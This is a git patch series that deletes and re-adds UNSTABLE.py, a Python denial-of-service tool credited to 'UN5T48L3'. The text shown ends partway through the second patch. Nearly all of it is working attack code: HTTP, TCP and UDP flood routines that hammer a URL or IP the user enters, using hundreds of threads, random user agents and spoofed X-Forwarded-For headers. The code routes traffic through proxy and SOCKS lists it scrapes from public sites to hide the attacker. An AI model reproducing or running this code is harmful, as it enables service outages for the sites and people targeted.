From 42fead692126ea3e52d8dc117439465759910d43 Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:02:13 +0530 Subject: [PATCH 1/6] Delete UNSTABLE.py --- UNSTABLE.py | 645 ---------------------------------------------------- 1 file changed, 645 deletions(-) delete mode 100644 UNSTABLE.py diff --git a/UNSTABLE.py b/UNSTABLE.py deleted file mode 100644 index 1483105..0000000 --- a/UNSTABLE.py +++ /dev/null @@ -1,645 +0,0 @@ -import socket -import socks -import threading -import random -import re -import urllib.request -import os -import sys - -from bs4 import BeautifulSoup - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # C0d3d by UN5T48L3 - -if sys.platform.startswith("linux"): # C0d3d by UN5T48L3 - from scapy.all import * # C0d3d by UN5T48L3 -elif sys.platform.startswith("freebsd"): # C0d3d by UN5T48L3 - from scapy.all import * # C0d3d by UN5T48L3 -else: # C0d3d by UN5T48L3 - print ("TCP/UDP FLOOD ARE NOT SUPPORTED UNDER THIS SYSTEM. YOU MUST USE HTTP FLOOD.") # C0d3d by UN5T48L3 - -print(''' - -UU UU NN NN 555555 TTTTTTT 44 88888 LL 333333 -UU UU NNN NN 55 TTT 444 88 88 LL 3333 -UU UU NN N NN 555555 TTT 44 4 88888 LL 3333 -UU UU NN NNN 5555 TTT 44444444 88 88 LL 333 - UUUUU NN NN 555555 TTT 444 88888 LLLLLLL 333333 - - - C0d3d by UN5T48L3 - ''') # her nefis bir gün DDoS'u tadacaktır - -useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A", - "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25", - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", - "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0", - "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1", - "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", - "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16", - "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", - "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", - "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7", - "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",] - - -def starturl(): # C0d3d by UN5T48L3 - global url - global url2 - global urlport - - url = input("\nInsert URL/IP: ").strip() - - if url == "": - print ("Please enter the url.") - starturl() - - try: - if url[0]+url[1]+url[2]+url[3] == "www.": - url = "http://" + url - elif url[0]+url[1]+url[2]+url[3] == "http": - pass - else: - url = "http://" + url - except: - print("You mistyped, try again.") - starturl() - - try: - url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0] - except: - url2 = url.replace("http://", "").replace("https://", "").split("/")[0] - - try: - urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1] - except: - urlport = "80" - - floodmode() - -def floodmode(): - global choice1 - choice1 = input("Do you want to perform HTTP flood '0'(best), TCP flood '1' or UDP flood '2' ? ") - if choice1 == "0": - proxymode() - elif choice1 == "1": - try: - if os.getuid() != 0: # C0d3d by UN5T48L3 - print("You need to run this program as root to use TCP/UDP flooding.") # C0d3d by UN5T48L3 - exit(0) # C0d3d by UN5T48L3 - else: # C0d3d by UN5T48L3 - floodport() # C0d3d by UN5T48L3 - except: - pass - elif choice1 == "2": - try: - if os.getuid() != 0: # C0d3d by UN5T48L3 - print("You need to run this program as root to use TCP/UDP flooding.") # C0d3d by UN5T48L3 - exit(0) # C0d3d by UN5T48L3 - else: # - floodport() # C0d3d by UN5T48L3 - except: - pass - else: - print ("You mistyped, try again.") - floodmode() - -def floodport(): - global port - try: - port = int(input("Enter the port you want to flood: ")) - portlist = range(65535) # C0d3d by UN5T48L3 - if port in portlist: # C0d3d by UN5T48L3 - pass # C0d3d by UN5T48L3 - else: # C0d3d by UN5T48L3 - print ("You mistyped, try again.") - floodport() # C0d3d by UN5T48L3 - except ValueError: # C0d3d by UN5T48L3 - print ("You mistyped, try again.") # C0d3d by UN5T48L3 - floodport() # C0d3d by UN5T48L3 - proxymode() - -def proxymode(): - global choice2 - choice2 = input("Do you want proxy/socks mode? Answer 'y' to enable it: ") - if choice2 == "y": - choiceproxysocks() - else: - numthreads() - -def choiceproxysocks(): - global choice3 - choice3 = input("Type '0' to enable proxymode or type '1' to enable socksmode: ") - if choice3 == "0": - choicedownproxy() - elif choice3 == "1": - choicedownsocks() - else: - print ("You mistyped, try again.") - choiceproxysocks() - -def choicedownproxy(): - choice4 = input("Do you want to download a new list of proxy? Answer 'y' to do it: ") - if choice4 == "y": - choicemirror1() - else: - proxylist() - -def choicedownsocks(): - choice4 = input("Do you want to download a new list of socks? Answer 'y' to do it: ") - if choice4 == "y": - choicemirror2() - else: - proxylist() - -def choicemirror1(): - global urlproxy - choice5 = input ("Download from: free-proxy-list.net='0'(best) or inforge.net='1' ") - if choice5 == "0": - urlproxy = "http://free-proxy-list.net/" - proxyget1() - elif choice5 == "1": - inforgeget() - else: - print("You mistyped, try again.") - choicemirror1() - -def choicemirror2(): - global urlproxy - choice5 = input ("Download from: socks-proxy.net='0'(best) or inforge.net='1' ") - if choice5 == "0": - urlproxy = "https://www.socks-proxy.net/" - proxyget1() - elif choice5 == "1": - inforgeget() - else: - print("You mistyped, try again.") - choicemirror2() - -def proxyget1(): # C0d3d by UN5T48L3 - try: - req = urllib.request.Request(("%s") % (urlproxy)) - req.add_header("User-Agent", random.choice(useragents)) - sourcecode = urllib.request.urlopen(req) - part = str(sourcecode.read()) - part = part.split("") - part = part[1].split("") - part = part[0].split("") - proxies = "" - for proxy in part: - proxy = proxy.split("") - try: - proxies=proxies + proxy[0] + ":" + proxy[1] + "\n" - except: - pass - out_file = open("proxy.txt","w") - out_file.write("") - out_file.write(proxies) - out_file.close() - print ("Proxies downloaded successfully.") - except: - print ("\nERROR!\n") - proxylist() - -def inforgeget(): - try: - if os.path.isfile("proxy.txt"): - out_file = open("proxy.txt","w") - out_file.write("") - out_file.close() - else: - pass - url = "https://www.inforge.net/xi/forums/liste-proxy.1118/" - soup = BeautifulSoup(urllib.request.urlopen(url)) - print ("\nDownloading from inforge.net in progress...") - base = "https://www.inforge.net/xi/" - for tag in soup.find_all("a", {"class":"PreviewTooltip"}): - links = tag.get("href") - final = base + links - result = urllib.request.urlopen(final) - for line in result : - ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line)) - if ip: - for x in ip: - out_file = open("proxy.txt","a") - while True: - out_file.write(x+"\n") - out_file.close() - break - print ("Proxies downloaded successfully.") - except: - print ("\nERROR!\n") - proxylist() - -def proxylist(): - global proxies - out_file = str(input("Enter the proxylist filename/path (proxy.txt): ")) - if out_file == "": - out_file = "proxy.txt" - proxies = open(out_file).readlines() - numthreads() - -def numthreads(): - global threads - try: - threads = int(input("Insert number of threads (800): ")) - except ValueError: - threads = 800 - print ("800 threads selected.\n") - multiplication() - -def multiplication(): - global multiple - try: - multiple = int(input("Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: ")) - except ValueError: - print("You mistyped, try again.\n") - multiplication() - begin() - -def begin(): - choice6 = input("Press 'Enter' to start attack: ") - if choice6 == "": - loop() - elif choice6 == "Enter": #lool - loop() - elif choice6 == "enter": #loool - loop() - else: - exit(0) - -def loop(): - global threads - global get_host - global acceptall - global connection - global go - global x - if choice1 == "0": - get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n" - acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] - connection = "Connection: Keep-Alive\r\n" - x = 0 - go = threading.Event() - if choice1 == "1": - if choice2 == "y": - if choice3 == "0": - for x in range(threads): - tcpfloodproxed(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - tcpfloodsocked(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - tcpflood(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - if choice1 == "2": - if choice2 == "y": - if choice3 == "0": - for x in range(threads): - udpfloodproxed(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - udpfloodsocked(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - udpflood(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - if choice2 == "y": - if choice3 == "0": - for x in range(threads): - requestproxy(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - requestsocks(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - else: - for x in range(threads): - requestdefault(x+1).start() - print ("Thread " + str(x) + " ready!") - go.set() - -class tcpfloodproxed(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - -class tcpfloodsocked(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - print ("Sock down. Retrying request. @", self.counter) - s.close() - -class tcpflood(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) - go.wait() - while True: - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((str(url2),int(port))) - s.send(p) - print ("Request Sent! @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - -class udpfloodproxed(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - -class udpfloodsocked(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2),int(port))) - s.send(p) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - print ("Sock down. Retrying request. @", self.counter) - s.close() - -class udpflood(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - data = random._urandom(1024) - p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) - go.wait() - while True: - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((str(url2),int(port))) - s.send(p) - print ("Request Sent! @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(p)) - except: - s.close() - except: - s.close() - -class requestproxy(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - useragent = "User-Agent: " + random.choice(useragents) + "\r\n" - accept = random.choice(acceptall) - randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) - forward = "X-Forwarded-For: " + randomip + "\r\n" - request = get_host + useragent + accept + forward + connection + "\r\n" - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((str(proxy[0]), int(proxy[1]))) - s.send(str.encode(request)) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(request)) - except: - s.close() - except: - s.close() - -class requestsocks(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - useragent = "User-Agent: " + random.choice(useragents) + "\r\n" - accept = random.choice(acceptall) - request = get_host + useragent + accept + connection + "\r\n" - current = x - if current < len(proxies): - proxy = proxies[current].strip().split(':') - else: - proxy = random.choice(proxies).strip().split(":") - go.wait() - while True: - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2), int(urlport))) - s.send (str.encode(request)) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(request)) - except: - s.close() - except: - s.close() - try: - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True) - s = socks.socksocket() - s.connect((str(url2), int(urlport))) - s.send (str.encode(request)) - print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(request)) - except: - s.close() - except: - print ("Sock down. Retrying request. @", self.counter) - s.close() - -class requestdefault(threading.Thread): - - def __init__(self, counter): - threading.Thread.__init__(self) - self.counter = counter - - def run(self): - useragent = "User-Agent: " + random.choice(useragents) + "\r\n" - accept = random.choice(acceptall) - request = get_host + useragent + accept + connection + "\r\n" - go.wait() - while True: - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((str(url2), int(urlport))) - s.send (str.encode(request)) - print ("Request sent! @", self.counter) - try: - for y in range(multiple): - s.send(str.encode(request)) - except: - s.close() - except: - s.close() - -starturl() \ No newline at end of file From d102faa74a2a633ce62b5a337e21165b718cf774 Mon Sep 17 00:00:00 2001 From: Python <62798687+A1python@users.noreply.github.com> Date: Thu, 1 Oct 2020 21:02:58 +0530 Subject: [PATCH 2/6] Add files via upload --- UNSTABLE.py | 636 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 636 insertions(+) create mode 100644 UNSTABLE.py diff --git a/UNSTABLE.py b/UNSTABLE.py new file mode 100644 index 0000000..3ae662b --- /dev/null +++ b/UNSTABLE.py @@ -0,0 +1,636 @@ +from bs4 import BeautifulSoup +import socket,socks,threading,re,urllib.request,random,os,sys,logging + +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # C0d3d by UN5T48L3 + +if sys.platform.startswith("linux"): # C0d3d by UN5T48L3 + from scapy.all import * # C0d3d by UN5T48L3 +elif sys.platform.startswith("freebsd"): # C0d3d by UN5T48L3 + from scapy.all import * # C0d3d by UN5T48L3 +else: # C0d3d by UN5T48L3 + print ("TCP/UDP FLOOD ARE NOT SUPPORTED UNDER THIS SYSTEM. YOU MUST USE HTTP FLOOD.") # C0d3d by UN5T48L3 + +print(''' + +UU UU NN NN 555555 TTTTTTT 44 88888 LL 333333 +UU UU NNN NN 55 TTT 444 88 88 LL 3333 +UU UU NN N NN 555555 TTT 44 4 88888 LL 3333 +UU UU NN NNN 5555 TTT 44444444 88 88 LL 333 + UUUUU NN NN 555555 TTT 444 88888 LLLLLLL 333333 + + + C0d3d by UN5T48L3 + ''') # her nefis bir gün DDoS'u tadacaktır + +useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A", + "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", + "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1", + "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0", + "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16", + "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246", + "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",] + + +def starturl(): # C0d3d by UN5T48L3 + global url + global url2 + global urlport + + url = input("\nInsert URL/IP: ").strip() + + if url == "": + print ("Please enter the url.") + starturl() + + try: + if url[0]+url[1]+url[2]+url[3] == "www.": + url = "http://" + url + elif url[0]+url[1]+url[2]+url[3] == "http": + pass + else: + url = "http://" + url + except: + print("You mistyped, try again.") + starturl() + + try: + url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0] + except: + url2 = url.replace("http://", "").replace("https://", "").split("/")[0] + + try: + urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1] + except: + urlport = "80" + + floodmode() + +def floodmode(): + global choice1 + choice1 = input("Do you want to perform HTTP flood '0'(best), TCP flood '1' or UDP flood '2' ? ") + if choice1 == "0": + proxymode() + elif choice1 == "1": + try: + if os.getuid() != 0: # C0d3d by UN5T48L3 + print("You need to run this program as root to use TCP/UDP flooding.") # C0d3d by UN5T48L3 + exit(0) # C0d3d by UN5T48L3 + else: # C0d3d by UN5T48L3 + floodport() # C0d3d by UN5T48L3 + except: + pass + elif choice1 == "2": + try: + if os.getuid() != 0: # C0d3d by UN5T48L3 + print("You need to run this program as root to use TCP/UDP flooding.") # C0d3d by UN5T48L3 + exit(0) # C0d3d by UN5T48L3 + else: # + floodport() # C0d3d by UN5T48L3 + except: + pass + else: + print ("You mistyped, try again.") + floodmode() + +def floodport(): + global port + try: + port = int(input("Enter the port you want to flood: ")) + portlist = range(65535) # C0d3d by UN5T48L3 + if port in portlist: # C0d3d by UN5T48L3 + pass # C0d3d by UN5T48L3 + else: # C0d3d by UN5T48L3 + print ("You mistyped, try again.") + floodport() # C0d3d by UN5T48L3 + except ValueError: # C0d3d by UN5T48L3 + print ("You mistyped, try again.") # C0d3d by UN5T48L3 + floodport() # C0d3d by UN5T48L3 + proxymode() + +def proxymode(): + global choice2 + choice2 = input("Do you want proxy/socks mode?(Y or N): ").lower() + if choice2 == "y": + choiceproxysocks() + else: + numthreads() + +def choiceproxysocks(): + global choice3 + choice3 = input("Type '0' to enable proxymode or type '1' to enable socksmode: ") + if choice3 == "0": + choicedownproxy() + elif choice3 == "1": + choicedownsocks() + else: + print("You mistyped, try again.") + choiceproxysocks() + +def choicedownproxy(): + choice4 = input("Do you want to download a new list of proxy?(Y or N): ").lower() + if choice4 == "y": + choicemirror1() + else: + proxylist() + +def choicedownsocks(): + choice4 = input("Do you want to download a new list of socks?(Y or N): ").lower() + if choice4 == "y": + choicemirror2() + else: + proxylist() + +def choicemirror1(): + global urlproxy + choice5 = input ("Download from: free-proxy-list.net='0'(best) or inforge.net='1' ") + if choice5 == "0": + urlproxy = "http://free-proxy-list.net/" + proxyget1() + elif choice5 == "1": + inforgeget() + else: + print("You mistyped, try again.") + choicemirror1() + +def choicemirror2(): + global urlproxy + choice5 = input ("Download from: socks-proxy.net='0'(best) or inforge.net='1' ") + if choice5 == "0": + urlproxy = "https://www.socks-proxy.net/" + proxyget1() + elif choice5 == "1": + inforgeget() + else: + print("You mistyped, try again.") + choicemirror2() + +def proxyget1(): # C0d3d by UN5T48L3 + try: + req = urllib.request.Request(("%s") % (urlproxy)) + req.add_header("User-Agent", random.choice(useragents)) + sourcecode = urllib.request.urlopen(req) + part = str(sourcecode.read()) + part = part.split("") + part = part[1].split("") + part = part[0].split("") + proxies = "" + for proxy in part: + proxy = proxy.split("") + try: + proxies=proxies + proxy[0] + ":" + proxy[1] + "\n" + except: + pass + out_file = open("proxy.txt","w") + out_file.write("") + out_file.write(proxies) + out_file.close() + print ("Proxies downloaded successfully.") + except: + print ("\nERROR!\n") + proxylist() + +def inforgeget(): + try: + if os.path.isfile("proxy.txt"): + out_file = open("proxy.txt","w") + out_file.write("") + out_file.close() + else: + pass + url = "https://www.inforge.net/xi/forums/liste-proxy.1118/" + soup = BeautifulSoup(urllib.request.urlopen(url)) + print ("\nDownloading from inforge.net in progress...") + base = "https://www.inforge.net/xi/" + for tag in soup.find_all("a", {"class":"PreviewTooltip"}): + links = tag.get("href") + final = base + links + result = urllib.request.urlopen(final) + for line in result : + ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line)) + if ip: + for x in ip: + out_file = open("proxy.txt","a") + while True: + out_file.write(x+"\n") + out_file.close() + break + print ("Proxies downloaded successfully.") + except: + print ("\nERROR!\n") + proxylist() + +def proxylist(): + global proxies + out_file = str(input("Enter the proxylist filename/path (proxy.txt): ")) + if out_file == "": + out_file = "proxy.txt" + proxies = open(out_file).readlines() + numthreads() + +def numthreads(): + global threads + try: + threads = int(input("Insert number of threads (800): ")) + except ValueError: + threads = 800 + print ("800 threads selected.\n") + multiplication() + +def multiplication(): + global multiple + try: + multiple = int(input("Insert a number of multiplication for the attack [(1-5=normal)(50=powerful)(100 or more=bomb)]: ")) + except ValueError: + print("You mistyped, try again.\n") + multiplication() + begin() + +def begin(): + choice6 = input("Press 'Enter' to start attack: ") + if choice6 == "": + loop() + elif choice6 == "Enter": #lool + loop() + elif choice6 == "enter": #loool + loop() + else: + exit(0) + +def loop(): + global threads + global get_host + global acceptall + global connection + global go + global x + if choice1 == "0": + get_host = "GET " + url + " HTTP/1.1\r\nHost: " + url2 + "\r\n" + acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"] + connection = "Connection: Keep-Alive\r\n" + x = 0 + go = threading.Event() + if choice1 == "1": + if choice2 == "y": + if choice3 == "0": + for x in range(threads): + tcpfloodproxed(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + tcpfloodsocked(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + tcpflood(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + if choice1 == "2": + if choice2 == "y": + if choice3 == "0": + for x in range(threads): + udpfloodproxed(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + udpfloodsocked(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + udpflood(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + if choice2 == "y": + if choice3 == "0": + for x in range(threads): + requestproxy(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + requestsocks(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + else: + for x in range(threads): + requestdefault(x+1).start() + print ("Thread " + str(x) + " ready!") + go.set() + +class tcpfloodproxed(threading.Thread): + + def __init__(self, counter): + threading.Thread.__init__(self) + self.counter = counter + + def run(self): + data = random._urandom(1024) + p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) + current = x + if current < len(proxies): + proxy = proxies[current].strip().split(':') + else: + proxy = random.choice(proxies).strip().split(":") + go.wait() + while True: + try: + socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) + s = socks.socksocket() + s.connect((str(url2),int(port))) + s.send(p) + print ("Request sent from " + str(proxy[0]+":"+proxy[1]) + " @", self.counter) + try: + for y in range(multiple): + 